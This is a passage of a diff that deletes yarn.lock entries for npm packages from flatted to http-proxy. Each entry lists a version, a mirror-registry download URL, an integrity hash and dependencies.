-  integrity sha1-YbAzgwKy/p+Vfcwy/CqH8cMEixE=
-  dependencies:
-    flatted "^3.1.0"
-    rimraf "^3.0.2"
-
-flatted@^3.1.0:
-  version "3.1.1"
-  resolved "https://registry.npm.taobao.org/flatted/download/flatted-3.1.1.tgz?cache=0&sync_timestamp=1611059419064&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fflatted%2Fdownload%2Fflatted-3.1.1.tgz#c4b489e80096d9df1dfc97c79871aea7c617c469"
-  integrity sha1-xLSJ6ACW2d8d/JfHmHGup8YXxGk=
-
-flatten@^1.0.2:
-  version "1.0.3"
-  resolved "https://registry.npm.taobao.org/flatten/download/flatten-1.0.3.tgz#c1283ac9f27b368abc1e36d1ff7b04501a30356b"
-  integrity sha1-wSg6yfJ7Noq8HjbR/3sEUBowNWs=
-
-flush-write-stream@^1.0.0:
-  version "1.1.1"
-  resolved "https://registry.npm.taobao.org/flush-write-stream/download/flush-write-stream-1.1.1.tgz#8dd7d873a1babc207d94ead0c2e0e44276ebf2e8"
-  integrity sha1-jdfYc6G6vCB9lOrQwuDkQnbr8ug=
-  dependencies:
-    inherits "^2.0.3"
-    readable-stream "^2.3.6"
-
-follow-redirects@^1.0.0, follow-redirects@^1.10.0:
-  version "1.14.1"
-  resolved "https://registry.yarnpkg.com/follow-redirects/-/follow-redirects-1.14.1.tgz#d9114ded0a1cfdd334e164e6662ad02bfd91ff43"
-  integrity sha512-HWqDgT7ZEkqRzBvc2s64vSZ/hfOceEol3ac/7tKwzuvEyWx3/4UegXh5oBOIotkGsObyk3xznnSRVADBgWSQVg==
-
-for-in@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/for-in/download/for-in-1.0.2.tgz#81068d295a8142ec0ac726c6e2200c30fb6d5e80"
-  integrity sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=
-
-fork-ts-checker-webpack-plugin@4.1.6:
-  version "4.1.6"
-  resolved "https://registry.nlark.com/fork-ts-checker-webpack-plugin/download/fork-ts-checker-webpack-plugin-4.1.6.tgz#5055c703febcf37fa06405d400c122b905167fc5"
-  integrity sha1-UFXHA/6883+gZAXUAMEiuQUWf8U=
-  dependencies:
-    "@babel/code-frame" "^7.5.5"
-    chalk "^2.4.1"
-    micromatch "^3.1.10"
-    minimatch "^3.0.4"
-    semver "^5.6.0"
-    tapable "^1.0.0"
-    worker-rpc "^0.1.0"
-
-form-data@^3.0.0:
-  version "3.0.1"
-  resolved "https://registry.npm.taobao.org/form-data/download/form-data-3.0.1.tgz#ebd53791b78356a99af9a300d4282c4d5eb9755f"
-  integrity sha1-69U3kbeDVqma+aMA1CgsTV65dV8=
-  dependencies:
-    asynckit "^0.4.0"
-    combined-stream "^1.0.8"
-    mime-types "^2.1.12"
-
-forwarded@0.2.0:
-  version "0.2.0"
-  resolved "https://registry.nlark.com/forwarded/download/forwarded-0.2.0.tgz?cache=0&sync_timestamp=1622503499867&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fforwarded%2Fdownload%2Fforwarded-0.2.0.tgz#2269936428aad4c15c7ebe9779a84bf0b2a81811"
-  integrity sha1-ImmTZCiq1MFcfr6XeahL8LKoGBE=
-
-fragment-cache@^0.2.1:
-  version "0.2.1"
-  resolved "https://registry.npm.taobao.org/fragment-cache/download/fragment-cache-0.2.1.tgz#4290fad27f13e89be7f33799c6bc5a0abfff0d19"
-  integrity sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=
-  dependencies:
-    map-cache "^0.2.2"
-
-fresh@0.5.2:
-  version "0.5.2"
-  resolved "https://registry.npm.taobao.org/fresh/download/fresh-0.5.2.tgz#3d8cadd90d976569fa835ab1f8e4b23a105605a7"
-  integrity sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=
-
-from2@^2.1.0:
-  version "2.3.0"
-  resolved "https://registry.npm.taobao.org/from2/download/from2-2.3.0.tgz#8bfb5502bde4a4d36cfdeea007fcca21d7e382af"
-  integrity sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=
-  dependencies:
-    inherits "^2.0.1"
-    readable-stream "^2.0.0"
-
-fs-extra@^7.0.0:
-  version "7.0.1"
-  resolved "https://registry.nlark.com/fs-extra/download/fs-extra-7.0.1.tgz#4f189c44aa123b895f722804f55ea23eadc348e9"
-  integrity sha1-TxicRKoSO4lfcigE9V6iPq3DSOk=
-  dependencies:
-    graceful-fs "^4.1.2"
-    jsonfile "^4.0.0"
-    universalify "^0.1.0"
-
-fs-extra@^8.1.0:
-  version "8.1.0"
-  resolved "https://registry.nlark.com/fs-extra/download/fs-extra-8.1.0.tgz#49d43c45a88cd9677668cb7be1b46efdb8d2e1c0"
-  integrity sha1-SdQ8RaiM2Wd2aMt74bRu/bjS4cA=
-  dependencies:
-    graceful-fs "^4.2.0"
-    jsonfile "^4.0.0"
-    universalify "^0.1.0"
-
-fs-extra@^9.0.1:
-  version "9.1.0"
-  resolved "https://registry.nlark.com/fs-extra/download/fs-extra-9.1.0.tgz#5954460c764a8da2094ba3554bf839e6b9a7c86d"
-  integrity sha1-WVRGDHZKjaIJS6NVS/g55rmnyG0=
-  dependencies:
-    at-least-node "^1.0.0"
-    graceful-fs "^4.2.0"
-    jsonfile "^6.0.1"
-    universalify "^2.0.0"
-
-fs-minipass@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/fs-minipass/download/fs-minipass-2.1.0.tgz#7f5036fdbf12c63c169190cbe4199c852271f9fb"
-  integrity sha1-f1A2/b8SxjwWkZDL5BmchSJx+fs=
-  dependencies:
-    minipass "^3.0.0"
-
-fs-write-stream-atomic@^1.0.8:
-  version "1.0.10"
-  resolved "https://registry.npm.taobao.org/fs-write-stream-atomic/download/fs-write-stream-atomic-1.0.10.tgz#b47df53493ef911df75731e70a9ded0189db40c9"
-  integrity sha1-tH31NJPvkR33VzHnCp3tAYnbQMk=
-  dependencies:
-    graceful-fs "^4.1.2"
-    iferr "^0.1.5"
-    imurmurhash "^0.1.4"
-    readable-stream "1 || 2"
-
-fs.realpath@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/fs.realpath/download/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f"
-  integrity sha1-FQStJSMVjKpA20onh8sBQRmU6k8=
-
-fsevents@^1.2.7:
-  version "1.2.13"
-  resolved "https://registry.npm.taobao.org/fsevents/download/fsevents-1.2.13.tgz#f325cb0455592428bcf11b383370ef70e3bfcc38"
-  integrity sha1-8yXLBFVZJCi88Rs4M3DvcOO/zDg=
-  dependencies:
-    bindings "^1.5.0"
-    nan "^2.12.1"
-
-fsevents@^2.1.2, fsevents@^2.1.3, fsevents@~2.3.1:
-  version "2.3.2"
-  resolved "https://registry.npm.taobao.org/fsevents/download/fsevents-2.3.2.tgz#8a526f78b8fdf4623b709e0b975c52c24c02fd1a"
-  integrity sha1-ilJveLj99GI7cJ4Ll1xSwkwC/Ro=
-
-function-bind@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.npm.taobao.org/function-bind/download/function-bind-1.1.1.tgz#a56899d3ea3c9bab874bb9773b7c5ede92f4895d"
-  integrity sha1-pWiZ0+o8m6uHS7l3O3xe3pL0iV0=
-
-functional-red-black-tree@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/functional-red-black-tree/download/functional-red-black-tree-1.0.1.tgz#1b0ab3bd553b2a0d6399d29c0e3ea0b252078327"
-  integrity sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=
-
-gensync@^1.0.0-beta.1, gensync@^1.0.0-beta.2:
-  version "1.0.0-beta.2"
-  resolved "https://registry.npm.taobao.org/gensync/download/gensync-1.0.0-beta.2.tgz#32a6ee76c3d7f52d46b2b1ae5d93fea8580a25e0"
-  integrity sha1-MqbudsPX9S1GsrGuXZP+qFgKJeA=
-
-get-caller-file@^2.0.1:
-  version "2.0.5"
-  resolved "https://registry.npm.taobao.org/get-caller-file/download/get-caller-file-2.0.5.tgz#4f94412a82db32f36e3b0b9741f8a97feb031f7e"
-  integrity sha1-T5RBKoLbMvNuOwuXQfipf+sDH34=
-
-get-intrinsic@^1.0.2, get-intrinsic@^1.1.0, get-intrinsic@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.npm.taobao.org/get-intrinsic/download/get-intrinsic-1.1.1.tgz?cache=0&sync_timestamp=1612364352840&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fget-intrinsic%2Fdownload%2Fget-intrinsic-1.1.1.tgz#15f59f376f855c446963948f0d24cd3637b4abc6"
-  integrity sha1-FfWfN2+FXERpY5SPDSTNNje0q8Y=
-  dependencies:
-    function-bind "^1.1.1"
-    has "^1.0.3"
-    has-symbols "^1.0.1"
-
-get-own-enumerable-property-symbols@^3.0.0:
-  version "3.0.2"
-  resolved "https://registry.npm.taobao.org/get-own-enumerable-property-symbols/download/get-own-enumerable-property-symbols-3.0.2.tgz#b5fde77f22cbe35f390b4e089922c50bce6ef664"
-  integrity sha1-tf3nfyLL4185C04ImSLFC85u9mQ=
-
-get-package-type@^0.1.0:
-  version "0.1.0"
-  resolved "https://registry.npm.taobao.org/get-package-type/download/get-package-type-0.1.0.tgz#8de2d803cff44df3bc6c456e6668b36c3926e11a"
-  integrity sha1-jeLYA8/0TfO8bEVuZmizbDkm4Ro=
-
-get-stream@^4.0.0:
-  version "4.1.0"
-  resolved "https://registry.npm.taobao.org/get-stream/download/get-stream-4.1.0.tgz#c1b255575f3dc21d59bfc79cd3d2b46b1c3a54b5"
-  integrity sha1-wbJVV189wh1Zv8ec09K0axw6VLU=
-  dependencies:
-    pump "^3.0.0"
-
-get-stream@^5.0.0:
-  version "5.2.0"
-  resolved "https://registry.npm.taobao.org/get-stream/download/get-stream-5.2.0.tgz#4966a1795ee5ace65e706c4b7beb71257d6e22d3"
-  integrity sha1-SWaheV7lrOZecGxLe+txJX1uItM=
-  dependencies:
-    pump "^3.0.0"
-
-get-value@^2.0.3, get-value@^2.0.6:
-  version "2.0.6"
-  resolved "https://registry.npm.taobao.org/get-value/download/get-value-2.0.6.tgz#dc15ca1c672387ca76bd37ac0a395ba2042a2c28"
-  integrity sha1-3BXKHGcjh8p2vTesCjlbogQqLCg=
-
-glob-parent@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.nlark.com/glob-parent/download/glob-parent-3.1.0.tgz?cache=0&sync_timestamp=1620073438189&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fglob-parent%2Fdownload%2Fglob-parent-3.1.0.tgz#9e6af6299d8d3bd2bd40430832bd113df906c5ae"
-  integrity sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=
-  dependencies:
-    is-glob "^3.1.0"
-    path-dirname "^1.0.0"
-
-glob-parent@^5.1.0, glob-parent@^5.1.2, glob-parent@~5.1.0:
-  version "5.1.2"
-  resolved "https://registry.nlark.com/glob-parent/download/glob-parent-5.1.2.tgz?cache=0&sync_timestamp=1620073438189&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fglob-parent%2Fdownload%2Fglob-parent-5.1.2.tgz#869832c58034fe68a4093c17dc15e8340d8401c4"
-  integrity sha1-hpgyxYA0/mikCTwX3BXoNA2EAcQ=
-  dependencies:
-    is-glob "^4.0.1"
-
-glob@^7.0.3, glob@^7.1.1, glob@^7.1.2, glob@^7.1.3, glob@^7.1.4, glob@^7.1.6:
-  version "7.1.7"
-  resolved "https://registry.nlark.com/glob/download/glob-7.1.7.tgz?cache=0&sync_timestamp=1620337382269&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fglob%2Fdownload%2Fglob-7.1.7.tgz#3b193e9233f01d42d0b3f78294bbeeb418f94a90"
-  integrity sha1-Oxk+kjPwHULQs/eClLvutBj5SpA=
-  dependencies:
-    fs.realpath "^1.0.0"
-    inflight "^1.0.4"
-    inherits "2"
-    minimatch "^3.0.4"
-    once "^1.3.0"
-    path-is-absolute "^1.0.0"
-
-global-modules@2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/global-modules/download/global-modules-2.0.0.tgz#997605ad2345f27f51539bea26574421215c7780"
-  integrity sha1-mXYFrSNF8n9RU5vqJldEISFcd4A=
-  dependencies:
-    global-prefix "^3.0.0"
-
-global-prefix@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/global-prefix/download/global-prefix-3.0.0.tgz#fc85f73064df69f50421f47f883fe5b913ba9b97"
-  integrity sha1-/IX3MGTfafUEIfR/iD/luRO6m5c=
-  dependencies:
-    ini "^1.3.5"
-    kind-of "^6.0.2"
-    which "^1.3.1"
-
-globals@^11.1.0:
-  version "11.12.0"
-  resolved "https://registry.nlark.com/globals/download/globals-11.12.0.tgz?cache=0&sync_timestamp=1622088036473&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fglobals%2Fdownload%2Fglobals-11.12.0.tgz#ab8795338868a0babd8525758018c2a7eb95c42e"
-  integrity sha1-q4eVM4hooLq9hSV1gBjCp+uVxC4=
-
-globals@^13.6.0, globals@^13.9.0:
-  version "13.9.0"
-  resolved "https://registry.nlark.com/globals/download/globals-13.9.0.tgz?cache=0&sync_timestamp=1622088036473&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fglobals%2Fdownload%2Fglobals-13.9.0.tgz#4bf2bf635b334a173fb1daf7c5e6b218ecdc06cb"
-  integrity sha1-S/K/Y1szShc/sdr3xeayGOzcBss=
-  dependencies:
-    type-fest "^0.20.2"
-
-globby@11.0.1:
-  version "11.0.1"
-  resolved "https://registry.npm.taobao.org/globby/download/globby-11.0.1.tgz?cache=0&sync_timestamp=1616407139482&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fglobby%2Fdownload%2Fglobby-11.0.1.tgz#9a2bf107a068f3ffeabc49ad702c79ede8cfd357"
-  integrity sha1-mivxB6Bo8//qvEmtcCx57ejP01c=
-  dependencies:
-    array-union "^2.1.0"
-    dir-glob "^3.0.1"
-    fast-glob "^3.1.1"
-    ignore "^5.1.4"
-    merge2 "^1.3.0"
-    slash "^3.0.0"
-
-globby@^11.0.3:
-  version "11.0.3"
-  resolved "https://registry.npm.taobao.org/globby/download/globby-11.0.3.tgz?cache=0&sync_timestamp=1616407139482&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fglobby%2Fdownload%2Fglobby-11.0.3.tgz#9b1f0cb523e171dd1ad8c7b2a9fb4b644b9593cb"
-  integrity sha1-mx8MtSPhcd0a2MeyqftLZEuVk8s=
-  dependencies:
-    array-union "^2.1.0"
-    dir-glob "^3.0.1"
-    fast-glob "^3.1.1"
-    ignore "^5.1.4"
-    merge2 "^1.3.0"
-    slash "^3.0.0"
-
-globby@^6.1.0:
-  version "6.1.0"
-  resolved "https://registry.npm.taobao.org/globby/download/globby-6.1.0.tgz?cache=0&sync_timestamp=1616407139482&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fglobby%2Fdownload%2Fglobby-6.1.0.tgz#f5a6d70e8395e21c858fb0489d64df02424d506c"
-  integrity sha1-9abXDoOV4hyFj7BInWTfAkJNUGw=
-  dependencies:
-    array-union "^1.0.1"
-    glob "^7.0.3"
-    object-assign "^4.0.1"
-    pify "^2.0.0"
-    pinkie-promise "^2.0.0"
-
-graceful-fs@^4.1.11, graceful-fs@^4.1.15, graceful-fs@^4.1.2, graceful-fs@^4.1.6, graceful-fs@^4.2.0, graceful-fs@^4.2.4:
-  version "4.2.6"
-  resolved "https://registry.npm.taobao.org/graceful-fs/download/graceful-fs-4.2.6.tgz#ff040b2b0853b23c3d31027523706f1885d76bee"
-  integrity sha1-/wQLKwhTsjw9MQJ1I3BvGIXXa+4=
-
-growly@^1.3.0:
-  version "1.3.0"
-  resolved "https://registry.npm.taobao.org/growly/download/growly-1.3.0.tgz#f10748cbe76af964b7c96c93c6bcc28af120c081"
-  integrity sha1-8QdIy+dq+WS3yWyTxrzCivEgwIE=
-
-gzip-size@5.1.1:
-  version "5.1.1"
-  resolved "https://registry.npm.taobao.org/gzip-size/download/gzip-size-5.1.1.tgz#cb9bee692f87c0612b232840a873904e4c135274"
-  integrity sha1-y5vuaS+HwGErIyhAqHOQTkwTUnQ=
-  dependencies:
-    duplexer "^0.1.1"
-    pify "^4.0.1"
-
-handle-thing@^2.0.0:
-  version "2.0.1"
-  resolved "https://registry.npm.taobao.org/handle-thing/download/handle-thing-2.0.1.tgz#857f79ce359580c340d43081cc648970d0bb234e"
-  integrity sha1-hX95zjWVgMNA1DCBzGSJcNC7I04=
-
-harmony-reflect@^1.4.6:
-  version "1.6.2"
-  resolved "https://registry.npm.taobao.org/harmony-reflect/download/harmony-reflect-1.6.2.tgz#31ecbd32e648a34d030d86adb67d4d47547fe710"
-  integrity sha1-Mey9MuZIo00DDYattn1NR1R/5xA=
-
-has-bigints@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/has-bigints/download/has-bigints-1.0.1.tgz?cache=0&sync_timestamp=1615461262702&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fhas-bigints%2Fdownload%2Fhas-bigints-1.0.1.tgz#64fe6acb020673e3b78db035a5af69aa9d07b113"
-  integrity sha1-ZP5qywIGc+O3jbA1pa9pqp0HsRM=
-
-has-flag@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/has-flag/download/has-flag-3.0.0.tgz?cache=0&sync_timestamp=1618559744568&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fhas-flag%2Fdownload%2Fhas-flag-3.0.0.tgz#b5d454dc2199ae225699f3467e5a07f3b955bafd"
-  integrity sha1-tdRU3CGZriJWmfNGfloH87lVuv0=
-
-has-flag@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/has-flag/download/has-flag-4.0.0.tgz?cache=0&sync_timestamp=1618559744568&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fhas-flag%2Fdownload%2Fhas-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b"
-  integrity sha1-lEdx/ZyByBJlxNaUGGDaBrtZR5s=
-
-has-symbols@^1.0.1, has-symbols@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/has-symbols/download/has-symbols-1.0.2.tgz?cache=0&sync_timestamp=1614443577352&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fhas-symbols%2Fdownload%2Fhas-symbols-1.0.2.tgz#165d3070c00309752a1236a479331e3ac56f1423"
-  integrity sha1-Fl0wcMADCXUqEjakeTMeOsVvFCM=
-
-has-value@^0.3.1:
-  version "0.3.1"
-  resolved "https://registry.npm.taobao.org/has-value/download/has-value-0.3.1.tgz#7b1f58bada62ca827ec0a2078025654845995e1f"
-  integrity sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=
-  dependencies:
-    get-value "^2.0.3"
-    has-values "^0.1.4"
-    isobject "^2.0.0"
-
-has-value@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/has-value/download/has-value-1.0.0.tgz#18b281da585b1c5c51def24c930ed29a0be6b177"
-  integrity sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=
-  dependencies:
-    get-value "^2.0.6"
-    has-values "^1.0.0"
-    isobject "^3.0.0"
-
-has-values@^0.1.4:
-  version "0.1.4"
-  resolved "https://registry.npm.taobao.org/has-values/download/has-values-0.1.4.tgz#6d61de95d91dfca9b9a02089ad384bff8f62b771"
-  integrity sha1-bWHeldkd/Km5oCCJrThL/49it3E=
-
-has-values@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/has-values/download/has-values-1.0.0.tgz#95b0b63fec2146619a6fe57fe75628d5a39efe4f"
-  integrity sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=
-  dependencies:
-    is-number "^3.0.0"
-    kind-of "^4.0.0"
-
-has@^1.0.0, has@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.nlark.com/has/download/has-1.0.3.tgz?cache=0&sync_timestamp=1618847173393&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fhas%2Fdownload%2Fhas-1.0.3.tgz#722d7cbfc1f6aa8241f16dd814e011e1f41e8796"
-  integrity sha1-ci18v8H2qoJB8W3YFOAR4fQeh5Y=
-  dependencies:
-    function-bind "^1.1.1"
-
-hash-base@^3.0.0:
-  version "3.1.0"
-  resolved "https://registry.npm.taobao.org/hash-base/download/hash-base-3.1.0.tgz#55c381d9e06e1d2997a883b4a3fddfe7f0d3af33"
-  integrity sha1-VcOB2eBuHSmXqIO0o/3f5/DTrzM=
-  dependencies:
-    inherits "^2.0.4"
-    readable-stream "^3.6.0"
-    safe-buffer "^5.2.0"
-
-hash.js@^1.0.0, hash.js@^1.0.3:
-  version "1.1.7"
-  resolved "https://registry.npm.taobao.org/hash.js/download/hash.js-1.1.7.tgz#0babca538e8d4ee4a0f8988d68866537a003cf42"
-  integrity sha1-C6vKU46NTuSg+JiNaIZlN6ADz0I=
-  dependencies:
-    inherits "^2.0.3"
-    minimalistic-assert "^1.0.1"
-
-he@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.nlark.com/he/download/he-1.2.0.tgz#84ae65fa7eafb165fddb61566ae14baf05664f0f"
-  integrity sha1-hK5l+n6vsWX922FWauFLrwVmTw8=
-
-hex-color-regex@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/hex-color-regex/download/hex-color-regex-1.1.0.tgz#4c06fccb4602fe2602b3c93df82d7e7dbf1a8a8e"
-  integrity sha1-TAb8y0YC/iYCs8k9+C1+fb8aio4=
-
-hmac-drbg@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/hmac-drbg/download/hmac-drbg-1.0.1.tgz#d2745701025a6c775a6c545793ed502fc0c649a1"
-  integrity sha1-0nRXAQJabHdabFRXk+1QL8DGSaE=
-  dependencies:
-    hash.js "^1.0.3"
-    minimalistic-assert "^1.0.0"
-    minimalistic-crypto-utils "^1.0.1"
-
-hoopy@^0.1.4:
-  version "0.1.4"
-  resolved "https://registry.npm.taobao.org/hoopy/download/hoopy-0.1.4.tgz#609207d661100033a9a9402ad3dea677381c1b1d"
-  integrity sha1-YJIH1mEQADOpqUAq096mdzgcGx0=
-
-hosted-git-info@^2.1.4:
-  version "2.8.9"
-  resolved "https://registry.npm.taobao.org/hosted-git-info/download/hosted-git-info-2.8.9.tgz?cache=0&sync_timestamp=1617826545071&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fhosted-git-info%2Fdownload%2Fhosted-git-info-2.8.9.tgz#dffc0bf9a21c02209090f2aa69429e1414daf3f9"
-  integrity sha1-3/wL+aIcAiCQkPKqaUKeFBTa8/k=
-
-hpack.js@^2.1.6:
-  version "2.1.6"
-  resolved "https://registry.npm.taobao.org/hpack.js/download/hpack.js-2.1.6.tgz#87774c0949e513f42e84575b3c45681fade2a0b2"
-  integrity sha1-h3dMCUnlE/QuhFdbPEVoH63ioLI=
-  dependencies:
-    inherits "^2.0.1"
-    obuf "^1.0.0"
-    readable-stream "^2.0.1"
-    wbuf "^1.1.0"
-
-hsl-regex@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/hsl-regex/download/hsl-regex-1.0.0.tgz#d49330c789ed819e276a4c0d272dffa30b18fe6e"
-  integrity sha1-1JMwx4ntgZ4nakwNJy3/owsY/m4=
-
-hsla-regex@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/hsla-regex/download/hsla-regex-1.0.0.tgz#c1ce7a3168c8c6614033a4b5f7877f3b225f9c38"
-  integrity sha1-wc56MWjIxmFAM6S194d/OyJfnDg=
-
-html-encoding-sniffer@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.npm.taobao.org/html-encoding-sniffer/download/html-encoding-sniffer-2.0.1.tgz#42a6dc4fd33f00281176e8b23759ca4e4fa185f3"
-  integrity sha1-QqbcT9M/ACgRduiyN1nKTk+hhfM=
-  dependencies:
-    whatwg-encoding "^1.0.5"
-
-html-entities@^1.2.1, html-entities@^1.3.1:
-  version "1.4.0"
-  resolved "https://registry.npm.taobao.org/html-entities/download/html-entities-1.4.0.tgz?cache=0&sync_timestamp=1617031468383&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fhtml-entities%2Fdownload%2Fhtml-entities-1.4.0.tgz#cfbd1b01d2afaf9adca1b10ae7dffab98c71d2dc"
-  integrity sha1-z70bAdKvr5rcobEK59/6uYxx0tw=
-
-html-escaper@^2.0.0:
-  version "2.0.2"
-  resolved "https://registry.npm.taobao.org/html-escaper/download/html-escaper-2.0.2.tgz#dfd60027da36a36dfcbe236262c00a5822681453"
-  integrity sha1-39YAJ9o2o238viNiYsAKWCJoFFM=
-
-html-minifier-terser@^5.0.1:
-  version "5.1.1"
-  resolved "https://registry.npm.taobao.org/html-minifier-terser/download/html-minifier-terser-5.1.1.tgz#922e96f1f3bb60832c2634b79884096389b1f054"
-  integrity sha1-ki6W8fO7YIMsJjS3mIQJY4mx8FQ=
-  dependencies:
-    camel-case "^4.1.1"
-    clean-css "^4.2.3"
-    commander "^4.1.1"
-    he "^1.2.0"
-    param-case "^3.0.3"
-    relateurl "^0.2.7"
-    terser "^4.6.3"
-
-html-webpack-plugin@4.5.0:
-  version "4.5.0"
-  resolved "https://registry.npm.taobao.org/html-webpack-plugin/download/html-webpack-plugin-4.5.0.tgz?cache=0&sync_timestamp=1615295979488&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fhtml-webpack-plugin%2Fdownload%2Fhtml-webpack-plugin-4.5.0.tgz#625097650886b97ea5dae331c320e3238f6c121c"
-  integrity sha1-YlCXZQiGuX6l2uMxwyDjI49sEhw=
-  dependencies:
-    "@types/html-minifier-terser" "^5.0.0"
-    "@types/tapable" "^1.0.5"
-    "@types/webpack" "^4.41.8"
-    html-minifier-terser "^5.0.1"
-    loader-utils "^1.2.3"
-    lodash "^4.17.15"
-    pretty-error "^2.1.1"
-    tapable "^1.1.3"
-    util.promisify "1.0.0"
-
-htmlparser2@^3.10.1:
-  version "3.10.1"
-  resolved "https://registry.npm.taobao.org/htmlparser2/download/htmlparser2-3.10.1.tgz#bd679dc3f59897b6a34bb10749c855bb53a9392f"
-  integrity sha1-vWedw/WYl7ajS7EHSchVu1OpOS8=
-  dependencies:
-    domelementtype "^1.3.1"
-    domhandler "^2.3.0"
-    domutils "^1.5.1"
-    entities "^1.1.1"
-    inherits "^2.0.1"
-    readable-stream "^3.1.1"
-
-http-deceiver@^1.2.7:
-  version "1.2.7"
-  resolved "https://registry.npm.taobao.org/http-deceiver/download/http-deceiver-1.2.7.tgz#fa7168944ab9a519d337cb0bec7284dc3e723d87"
-  integrity sha1-+nFolEq5pRnTN8sL7HKE3D5yPYc=
-
-http-errors@1.7.2:
-  version "1.7.2"
-  resolved "https://registry.nlark.com/http-errors/download/http-errors-1.7.2.tgz#4f5029cf13239f31036e5b2e55292bcfbcc85c8f"
-  integrity sha1-T1ApzxMjnzEDblsuVSkrz7zIXI8=
-  dependencies:
-    depd "~1.1.2"
-    inherits "2.0.3"
-    setprototypeof "1.1.1"
-    statuses ">= 1.5.0 < 2"
-    toidentifier "1.0.0"
-
-http-errors@~1.6.2:
-  version "1.6.3"
-  resolved "https://registry.nlark.com/http-errors/download/http-errors-1.6.3.tgz#8b55680bb4be283a0b5bf4ea2e38580be1d9320d"
-  integrity sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0=
-  dependencies:
-    depd "~1.1.2"
-    inherits "2.0.3"
-    setprototypeof "1.1.0"
-    statuses ">= 1.4.0 < 2"
-
-http-errors@~1.7.2:
-  version "1.7.3"
-  resolved "https://registry.nlark.com/http-errors/download/http-errors-1.7.3.tgz#6c619e4f9c60308c38519498c14fbb10aacebb06"
-  integrity sha1-bGGeT5xgMIw4UZSYwU+7EKrOuwY=
-  dependencies:
-    depd "~1.1.2"
-    inherits "2.0.4"
-    setprototypeof "1.1.1"
-    statuses ">= 1.5.0 < 2"
-    toidentifier "1.0.0"
-
-http-parser-js@>=0.5.1:
-  version "0.5.3"
-  resolved "https://registry.npm.taobao.org/http-parser-js/download/http-parser-js-0.5.3.tgz?cache=0&sync_timestamp=1609540073700&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fhttp-parser-js%2Fdownload%2Fhttp-parser-js-0.5.3.tgz#01d2709c79d41698bb01d4decc5e9da4e4a033d9"
-  integrity sha1-AdJwnHnUFpi7AdTezF6dpOSgM9k=
-
-http-proxy-agent@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.npm.taobao.org/http-proxy-agent/download/http-proxy-agent-4.0.1.tgz#8a8c8ef7f5932ccf953c296ca8291b95aa74aa3a"
-  integrity sha1-ioyO9/WTLM+VPClsqCkblap0qjo=
-  dependencies:
-    "@tootallnate/once" "1"
-    agent-base "6"
-    debug "4"
-
-http-proxy-middleware@0.19.1:
-  version "0.19.1"
-  resolved "https://registry.nlark.com/http-proxy-middleware/download/http-proxy-middleware-0.19.1.tgz#183c7dc4aa1479150306498c210cdaf96080a43a"
-  integrity sha1-GDx9xKoUeRUDBkmMIQza+WCApDo=
-  dependencies:
-    http-proxy "^1.17.0"
-    is-glob "^4.0.0"
-    lodash "^4.17.11"
-    micromatch "^3.1.10"
-
-http-proxy@^1.17.0:
-  version "1.18.1"
-  resolved "https://registry.npm.taobao.org/http-proxy/download/http-proxy-1.18.1.tgz#401541f0534884bbf95260334e72f88ee3976549"
-  integrity sha1-QBVB8FNIhLv5UmAzTnL4juOXZUk=
-  dependencies:
-    eventemitter3 "^4.0.0"
-    follow-redirects "^1.0.0"
-    requires-port "^1.0.0"
-
-https-browserify@^1.0.0:
